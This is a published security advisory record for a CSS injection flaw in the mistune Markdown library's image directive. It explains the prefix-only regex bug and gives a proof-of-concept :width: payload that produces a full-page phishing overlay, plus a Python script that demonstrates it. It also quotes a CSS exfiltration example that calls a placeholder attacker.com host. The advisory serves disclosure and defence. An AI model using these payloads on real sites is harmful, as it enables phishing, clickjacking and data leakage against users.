{"id":"GHSA-ccfx-mfmx-2fx9","summary":"Mistune Image Directive CSS Injection Vulnerability","details":"## Summary\nThe Image directive plugin validates the `:width:` and `:height:` options with a regex compiled as `_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\")`. This pattern is applied via `re.match()` (which anchors only at the **start** of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows.\n\nWhen the validated value is not a plain integer, `render_block_image()` inserts it directly into a `style=\"width:...;\"` or `style=\"height:...;\"` attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the `style=` attribute verbatim and without escaping.\n\nAn attacker can therefore inject an arbitrary chain of CSS properties — including `position:fixed`, `background-color`, `z-index`, `outline`, and `opacity` — using nothing more than a single `:width:` option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks.\n\n## Details\n**File:** `src/mistune/directives/image.py`\n\n```python\n_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\")   # no $ anchor — prefix match only\n\ndef _parse_attrs(options):\n    height = options.get(\"height\")\n    width  = options.get(\"width\")\n    if height and _num_re.match(height):   # passes if value STARTS with a digit\n        attrs[\"height\"] = height           # full value stored, not just digits\n    if width and _num_re.match(width):     # same — prefix-only check\n        attrs[\"width\"] = width\n```\n\nAnd in `render_block_image()`:\n\n```python\nif width:\n    if width.isdigit():\n        img += ' width=\"' + width + '\"'   # safe: integer → HTML attribute\n    else:\n        style += \"width:\" + width + \";\"   # UNSAFE: non-integer → raw style value\n```\n\nThe `isdigit()` branch correctly uses an HTML attribute for plain integers. The `else` branch assumes that anything that passed `_num_re.match()` is a safe CSS length like `100px` or `50%`. However, because the regex is prefix-only, `100vw;height:100vh;position:fixed;...` also passes, and the entire string lands in `style=` unmodified.\n\n\n## PoC\n**Step 1 — Establish the baseline (safe plain-integer dimensions)**\n\nThe script creates a parser with `escape=True`, `FencedDirective`, and the `Image` plugin. A safe image directive is rendered with integer `width` and `height`:\n\n```python\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\nbl_src = (\n    \"```{image} photo.jpg\\n\"\n    \":width: 400\\n\"\n    \":height: 300\\n\"\n    \":alt: safe image\\n\"\n    \"```\\n\"\n)\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output — clean `width=` and `height=` HTML attributes, no `style=`:\n```html\n\u003cdiv class=\"block-image\"\u003e\u003cimg src=\"photo.jpg\" alt=\"safe image\" width=\"400\" height=\"300\" /\u003e\u003c/div\u003e\n```\n\n**Step 2 — Understand why non-integer widths go into `style=`**\n\nWhen `width` is not a plain integer (e.g., `100px`), `width.isdigit()` returns `False`, so the render path falls through to `style += \"width:\" + width + \";\"`. This is the intended mechanism for CSS-unit dimensions. The flaw is that `_num_re.match()` lets far more than CSS units through.\n\n**Step 3 — Craft the exploit payload**\n\nProvide a `:width:` value that begins with a valid number (satisfying `_num_re.match()`) but appends an entire CSS attack chain after it:\n\n```\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n```\n\n- `100vw` — starts with `1`, passes `_num_re.match()`; also sets the width to full viewport width\n- `;height:100vh` — overrides height to full viewport height\n- `;position:fixed` — lifts element out of document flow, fixed to the browser viewport\n- `;top:0;left:0` — anchors overlay to the top-left corner\n- `;z-index:9999` — places it above all other page content\n- `;background-color:#e11d48` — fills the overlay with vivid crimson\n- `;outline:8px solid #facc15` — adds a bright yellow border\n- `;color:#fff;opacity:.93` — styles the alt-text label in white with near-full opacity\n\nFull exploit markdown:\n```\n```{image} x.jpg\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n:alt: ⚠ CSS INJECTED — click to dismiss ⚠\n```\n```\n\n**Step 4 — Observe the injected `style=` in the output**\n\n```python\nex_src = (\n    \"```{image} x.jpg\\n\"\n    \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n    \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n    \":alt: ⚠ CSS INJECTED — click to dismiss ⚠\\n\"\n    \"```\\n\"\n)\nex_out = str(md(ex_src))\n```\n\nActual output:\n```html\n\u003cdiv class=\"block-image\"\u003e\u003cimg src=\"x.jpg\" alt=\"⚠ CSS INJECTED — click to dismiss ⚠\" style=\"width:100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93;\" /\u003e\u003c/div\u003e\n```\n\nEvery injected CSS property is present in the `style=` attribute. When a browser renders this HTML, the `\u003cimg\u003e` element:\n- expands to fill 100% of the viewport width and height\n- sits fixed at the top-left corner, scrolling with the viewport\n- is coloured crimson with a yellow outline\n- appears above all other page content\n\nThe result is a complete full-page phishing overlay generated from a single Markdown image directive.\n\n### Script \n\nI have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H6: Image directive CSS injection — width/height use prefix-only re.match().\n\nExploit combines: position:fixed  +  background-color  +  outline colour\n→ a full-viewport coloured overlay injected via a single :width: option.\n\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.directives import FencedDirective\nfrom mistune.directives.image import Image\n\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\n# --- baseline ---\nbl_file = \"baseline_h6.md\"\nbl_src  = (\n    \"```{image} photo.jpg\\n\"\n    \":width: 400\\n\"\n    \":height: 300\\n\"\n    \":alt: safe image\\n\"\n    \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output — clean width/height attributes, no style injection]\")\nprint(bl_out)\n\n# --- exploit ---\n# _num_re.match() is prefix-only (no $ anchor), so anything after the leading\n# digits is accepted and written verbatim into style=\"width:\u003cvalue\u003e;\".\n# This single :width: value smuggles a full CSS attack chain:\n#   position:fixed  → overlay sits above the entire page\n#   top/left/width/height → covers 100 % of the viewport\n#   background-color:#e11d48 → vivid crimson fill\n#   outline:8px solid #facc15 → bright yellow border\n#   color:#fff → white alt-text label\n#   z-index:9999 → on top of everything\nex_file = \"exploit_h6.md\"\nex_src  = (\n    \"```{image} x.jpg\\n\"\n    \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n    \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n    \":alt: ⚠ CSS INJECTED — click to dismiss ⚠\\n\"\n    \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output — colour + background-colour + fixed overlay injected into style=]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.warn{background:#fffbeb;border:1px solid #fbbf24;border-radius:6px;padding:10px 16px;\n      font-size:.85em;color:#92400e;margin:12px 0}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;\n      box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;\n    font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;\n          background:#fff;font-size:.9em;position:relative;overflow:hidden;height:180px}\n/* scope the live-render sandbox so position:fixed stays inside the box */\n.sandbox{position:relative;width:100%;height:100%}\n.sandbox img{max-width:100%;max-height:100%;object-fit:contain}\n/* override position:fixed on exploit img to keep it inside the preview box */\n.sandbox img[style*=\"position:fixed\"]{position:absolute!important;width:100%!important;\n  height:100%!important;top:0!important;left:0!important}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    header = \"BASELINE\" if kind == \"baseline\" else \"EXPLOIT\"\n    sandbox = f'\u003cdiv class=\"sandbox\"\u003e{out}\u003c/div\u003e'\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{header} — {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput — {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput — HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e↓ live render (sandboxed to preview box)\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{sandbox}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH6 — Image CSS Injection\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH6 — Image Directive CSS Injection\u003c/h1\u003e\n\u003cp class=\"desc\"\u003e\n  \u003ccode\u003e_parse_attrs()\u003c/code\u003e in \u003ccode\u003edirectives/image.py\u003c/code\u003e validates\n  \u003ccode\u003e:width:\u003c/code\u003e / \u003ccode\u003e:height:\u003c/code\u003e with \u003ccode\u003e_num_re.match()\u003c/code\u003e\n  (prefix-only — no \u003ccode\u003e$\u003c/code\u003e anchor). Anything after the leading digits\n  is accepted verbatim and written straight into a \u003ccode\u003estyle=\u003c/code\u003e attribute.\n  A single \u003ccode\u003e:width:\u003c/code\u003e option is sufficient to smuggle an arbitrary\n  CSS chain: \u003cstrong\u003eposition:fixed · background-color · outline colour · full-viewport overlay\u003c/strong\u003e.\n\u003c/p\u003e\n\u003cdiv class=\"warn\"\u003e\n  ⚠ The EXPLOIT preview below is sandboxed inside its box.\n  In a real document the crimson overlay would cover the \u003cem\u003eentire browser window\u003c/em\u003e.\n\u003c/div\u003e\n{case(\"baseline\",\n      \"Integer dims → clean width/height= attributes, no style=\",\n      bl_file, bl_src, bl_out)}\n{case(\"exploit\",\n      \":width: carries position:fixed + background-color + outline → full-viewport coloured overlay\",\n      ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h6.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h6.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | CSS-based data exfiltration via `background-image: url(https://attacker.com/?leak=...)` is possible in some browser/CSP configurations |\n| **Integrity**    | Full-viewport overlay enables complete UI replacement: phishing login forms, fake alerts, click-jacking, brand impersonation |\n| **Availability** | The overlay obscures all page content from the user until dismissed or navigated away |\n\n**Real-world impact scenario:** An attacker posts a Markdown document to a platform (wiki, issue tracker, documentation site) that renders mistune with the Image directive. Any user who views the page sees a full-screen crimson overlay matching the attacker's design, replacing or concealing the legitimate page content. The overlay can contain a convincing login prompt, survey form, or urgent warning designed to capture credentials.","aliases":["CVE-2026-44899","PYSEC-2026-2209"],"modified":"2026-07-13T07:26:45.210699576Z","published":"2026-05-14T16:36:18Z","database_specific":{"github_reviewed_at":"2026-05-14T16:36:18Z","nvd_published_at":"2026-05-26T21:16:39Z","cwe_ids":["CWE-79"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-ccfx-mfmx-2fx9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44899"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.2.1"}],"affected":[{"package":{"name":"mistune","ecosystem":"PyPI","purl":"pkg:pypi/mistune"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.0"},{"fixed":"3.2.1"}]}],"versions":["3.2.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-ccfx-mfmx-2fx9/GHSA-ccfx-mfmx-2fx9.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N"}]}